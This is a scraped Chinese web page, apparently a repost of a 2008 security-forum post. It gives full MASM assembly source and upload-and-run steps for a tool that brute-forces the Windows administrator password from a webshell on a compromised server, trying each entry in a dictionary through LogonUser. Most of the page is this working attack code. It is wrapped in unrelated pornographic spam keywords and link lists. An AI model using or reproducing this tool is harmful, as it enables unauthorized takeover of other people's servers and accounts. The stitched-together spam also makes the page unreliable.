六月婷婷综合激情-六月婷婷综合-六月婷婷在线观看-六月婷婷在线-亚洲黄色在线网站-亚洲黄色在线观看网站

明輝手游網中心:是一個免費提供流行視頻軟件教程、在線學習分享的學習平臺!

Webshell下破解計算機管理員密碼

[摘要]軟件作者:taiwansee信息來源:邪惡八進制信息安全團隊(www.eviloctal.com)這個idea源自以前學runas命令時候的啟發。 使用方法: 1、把你的密碼字典改名成psw...

軟件作者:taiwansee信息來源:邪惡八進制信息安全團隊(www.eviloctal.com)這個idea源自以前學runas命令時候的啟發。 使用方法:    1、把你的密碼字典改名成psw.txt后, 上傳到目標服務器的一個可執行、可寫的目錄中。 這里假設這個目錄是:c:\windows\temp\    2、把程序上傳到c:\windows\temp\中, 然后運行它。     3、然后就是等待, 過幾分鐘(具體時間看你的字典大小了)查閱c:\windows\temp\下的result_.txt中的結果,       如果為空就說明還沒破解完, 另選時間再回來看。 特點:    不需要抓hash, 不需要管理員權限, ISUR_*用戶就能用, 速度慢(這個也是特點哦)在測試機中的表現是每秒嘗試1800個密碼左右。     默認破解administrator用戶的密碼。 要破其它, 請自行修改代碼。 result_.txt示例:-----------------------------The administrators password is: testerThe program had tried 32653 times! :)Use time:0 hour(s) 0 minute(s) 17.109 second(s),average speed: 1908 times/s.-----------------------------源代碼如下:AdminPassCrack.asm文件 Quote:;>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>;                AdminPassCracker;;                                By taiwansee        2008.10.23;; 使用 nmake 或下列命令進行編譯和鏈接:; ml /c /coff AdminPassCracker.asm; Link /subsystem:windows AdminPassCracker.obj;>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>                .386                .model flat, stdcall                option casemap :none;>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>; Include 文件定義;>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>include                windows.incinclude                user32.incincludelib        user32.libinclude                kernel32.incincludelib        kernel32.libinclude                Advapi32.incincludelib        Advapi32.libinclude                _TotalTime.asm;>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>; 數據段;>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>                .constDEBUG                                equ        0LOGON32_LOGON_NETWORK                equ    3LOGON32_PROVIDER_DEFAULT        equ        0;>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>; 數據段;>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>align 4                .data?hModuleHandle                DWORD        ?szFileName                BYTE        MAX_PATH dup(?)                .dataszResultFile        BYTE        result_.txt,0szPswDic        BYTE        psw.txt,0szDomain        BYTE        .,0szUserName        BYTE        administrator,0szResultFileFormat        BYTE        The administrator,27h,s password is: %s,0dh,0ah                        BYTE        The program had tried %d times! :),0dh,0ah,0szNoDicFileErr                BYTE        Sorry,dic file not exists.,0szCreateFileMappingErr        BYTE        CreateFileMapping Error!,0szMapViewOfFileErr        BYTE        MapViewOfFile Error!,0szNotFound                BYTE        Password not found! :(,0dh,0ah,0;>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>; 代碼段;>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>                .codealign 4_WinMain        proc        local        @hPswDic:DWORD,\                @szPswTmp[MAX_PATH]:BYTE,\                @dwPswDicFileSize:DWORD,\                @hResultFile:DWORD,\                @dwWritten:DWORD,\                @hPswDicFileMap:DWORD,\                @hToken:DWORD,\                @dwTriedTimes:DWORD,\                @szBuf[MAX_PATH]:BYTE,\                @dwContentLength:DWORD,\                @lpPswDic:DWORD,\                @lpNext:DWORD,\                @lpStart:DWORD,\                @dwStart:DWORD        ;Create file to record results.        invoke        CreateFile,offset szResultFile,GENERIC_READ or GENERIC_WRITE,\                          FILE_SHARE_READ or FILE_SHARE_WRITE,NULL,OPEN_ALWAYS,\                          FILE_ATTRIBUTE_NORMAL,NULL        .if        eax == INVALID_HANDLE_VALUE                jmp _Error_Exit        .endif        mov        @hResultFile,eax;Open Dictionary file.        invoke        CreateFile,offset szPswDic,GENERIC_READ,\                          FILE_SHARE_READ,NULL,OPEN_EXISTING,\                          FILE_ATTRIBUTE_NORMAL,NULL        .if        eax == INVALID_HANDLE_VALUE                invoke        WriteFile,@hResultFile,offset szNoDicFileErr,sizeof szNoDicFileErr,addr @dwWritten,NULL                jmp _Error_Exit        .endif        mov        @hPswDic,eax        invoke        GetFileSize,@hPswDic,NULL        mov        @dwPswDicFileSize,eax;**********CreateFileMapping**********        invoke        CreateFileMapping,@hPswDic,NULL,PAGE_READONLY,0,0,NULL        .if        eax==NULL                invoke        WriteFile,@hResultFile,offset szCreateFileMappingErr,\                                  sizeof szCreateFileMappingErr,addr @dwWritten,NULL                jmp _Error_Exit                .endif        mov        @hPswDicFileMap,eax;**********MapViewOfFile**********        invoke        MapViewOfFile,eax,FILE_MAP_READ,0,0,0        .if        eax==NULL                invoke        WriteFile,@hResultFile,offset szMapViewOfFileErr,\                                  sizeof szMapViewOfFileErr,addr @dwWritten,NULL                jmp _Error_Exit        .endif        mov        @lpPswDic,eax        mov        @lpNext,eax        mov        @lpStart,eax                invoke        GetTickCount                ;計算使用的毫秒數,開始        mov        @dwStart,eax        xor        ecx,ecx        ;統計已經分析的字符個數        xor        eax,eax        mov        @dwTriedTimes,eax        ;統計嘗試的次數        .while        TRUE                cld                mov        esi,@lpStart                lea        edi,@szPswTmp        @@:                lodsb                .if        al!=0dh                        stosb                        inc        ecx                        .if        ecx==@dwPswDicFileSize                                jmp        @F                        .elseif        ecx>@dwPswDicFileSize                                jmp        _NotFound                        .endif                        jmp        @B                .endif        @@:                add        ecx,2                xor        eax,eax                stosw                        ;用0結尾                        lea        eax,[esi+1]                mov        @lpNext,eax        ;修正到下一個密碼                push        ecx        ;保存計數值                invoke        LogonUser,offset szUserName,offset szDomain,addr @szPswTmp,\                                  LOGON32_LOGON_NETWORK,\                                  LOGON32_PROVIDER_DEFAULT,\                                  addr @hToken                .if        eax==NULL                        pop        ecx        ;恢復計數值                        push        @lpNext                        pop        @lpStart                                                inc        @dwTriedTimes                        .continue                .else                        pop        ecx        ;堆棧平衡                        .break                .endif        .endw        invoke        GetTickCount                ;計算使用的毫秒數,結束        sub        eax,@dwStart        mov        @dwStart,eax        invoke        wsprintf,addr @szBuf,offset szResultFileFormat,addr @szPswTmp,@dwTriedTimes        invoke        lstrlen,addr @szBuf        mov        @dwContentLength,eax        invoke        WriteFile,@hResultFile,addr @szBuf,\                          @dwContentLength,addr @dwWritten,NULL                invoke        _TotalTime,addr @szBuf,@dwStart,@dwTriedTimes,NULL        invoke        lstrlen,addr @szBuf        mov        @dwContentLength,eax        invoke        WriteFile,@hResultFile,addr @szBuf,\                          @dwContentLength,addr @dwWritten,NULL                xor        eax,eax        inc        eax        ret_NotFound:        invoke        GetTickCount                ;計算使用的毫秒數,開始        sub        eax,@dwStart        mov        @dwStart,eax        invoke        lstrcpy,addr @szBuf,offset szNotFound        invoke        _TotalTime,addr @szPswTmp,@dwStart,@dwTriedTimes,NULL        invoke        lstrcat,addr @szBuf,addr @szPswTmp        invoke        lstrlen,addr @szBuf        mov        @dwContentLength,eax        invoke        WriteFile,@hResultFile,addr @szBuf,\                          @dwContentLength,addr @dwWritten,NULL_Error_Exit:        xor        eax,eax        ret_WinMain        endp;>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>start:        invoke        GetModuleHandle,NULL        mov        hModuleHandle,eax        invoke        GetModuleFileName,hModuleHandle,offset szFileName,sizeof szFileName        invoke        lstrlen,offset szFileName        cld        mov        esi,offset szFileName        add        esi,eax        std@@:        lodsb        cmp        al,5ch        jne        @B        mov        byte ptr [esi+2],0        cld        invoke        SetCurrentDirectory,offset szFileName        call        _WinMain        invoke        ExitProcess,NULL;>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>        end        start_TotalTime.asm文件Quote:                .dataszResultFormat        BYTE        Use time:%d hour(s) %d minute(s) %d.%03d second(s),average speed: %d times/s.,0dh,0ah,0                .code;********************************************************;        _TotalTime;_lpBuf為調用者提供的接收結果緩沖區;_dwTotalTime為總耗時, 一般來說, 前面有;invoke        GetTickCount;sub        eax,@dwStart;這兩條指令;_dwThingsHappend為在計時期間, 關心的事件發生的次數;_FutrueExtention為將來拓展用;********************************************************_TotalTime        proc        _lpBuf,_dwTotalTime,_dwThingsHappend,_FutrueExtentionlocal        @dwStart:DWORD,\        @dwMilliseconds:DWORD,\        @dwSecond:DWORD,\        @dwMinute:DWORD,\        @dwHour:DWORD,\        @dwSus:DWORD,\        @AVGSpeed:DWORD        mov        eax,_dwTotalTime        ;時間換算        xor        edx,edx        mov        ebx,1000        div        ebx        mov        @dwMilliseconds,edx        ;毫秒        xor        edx,edx        mov        ebx,60        div        ebx        mov        @dwSecond,edx                        xor        edx,edx        mov        ebx,60        div        ebx        mov        @dwMinute,edx                        xor        edx,edx        mov        ebx,24        div        ebx        mov        @dwHour,edx                ;計算平均速度:_dwThingsHappend÷_dwTotalTime        xor        edx,edx        mov        eax,_dwThingsHappend        ;_dwThingsHappend 也擴大1000倍(因為_dwTotalTime時間是毫秒數)        mov        ebx,1000        mul        ebx        mov        ebx,_dwTotalTime        ;把_dwTotalTime的值恢復到ebx        .if        ebx!=0                div        ebx                mov        @AVGSpeed,eax        .else        ;如果_dwTotalTime為0,說明運行時間太少,無法統計,在這里用_dwThingsHappend作為@AVGSpeed的                push        _dwThingsHappend                pop        @AVGSpeed        .endif        invoke        wsprintf,_lpBuf,\                        offset szResultFormat,\                        @dwHour,\                        @dwMinute,\                        @dwSecond,\                        @dwMilliseconds,\                        @AVGSpeed        xor        eax,eax        inc        eax        ret_TotalTime        endp


上面是電腦上網安全的一些基礎常識,學習了安全知識,幾乎可以讓你免費電腦中毒的煩擾。




主站蜘蛛池模板: 日本视频在线观看不卡高清免费 | 日韩乱码视频 | 欧美在线中文字幕高清的 | 我想看一级黄色毛片 | 最近更新免费韩国视频 | 五月婷婷丁香在线观看 | 亚洲成a v人片在线看片 | 欧美系列第一页 | 日本三区四区免费高清不卡 | 日本久久免费大片 | 日韩不卡在线 | 天天干夜夜爽 | 五月开心激情网 | 欧美一级特黄刺激大片视频 | 亚洲第1页 | 中文字幕欧美日韩 | 青青草原免费在线观看 | 日韩欧美在线综合网高清 | 色综合久久天天影视网 | 婷婷丁香六月天 | 色天天干 | 亚州国产| 天天插天天操天天干 | 日本乱码一卡二卡三卡永久 | 午夜有码 | 日韩高清在线不卡 | 天堂中文在线网 | 一级做a爰全过程免费视频 一级做a爰片性色毛片小说 | 日本高清在线视频www色下载 | 午夜视频1000部免费看 | 色噜噜狠狠大色综合 | 青娱乐免费视频观看 | 午夜啪啪免费视频 | 日本一卡二卡三卡 | 色网站在线观看 | 四虎影视在线免费观看 | 日本在线观看免费 | 日韩插| 日韩黄色成人 | 青草热视频 | 性刺激视频在线播放免费 |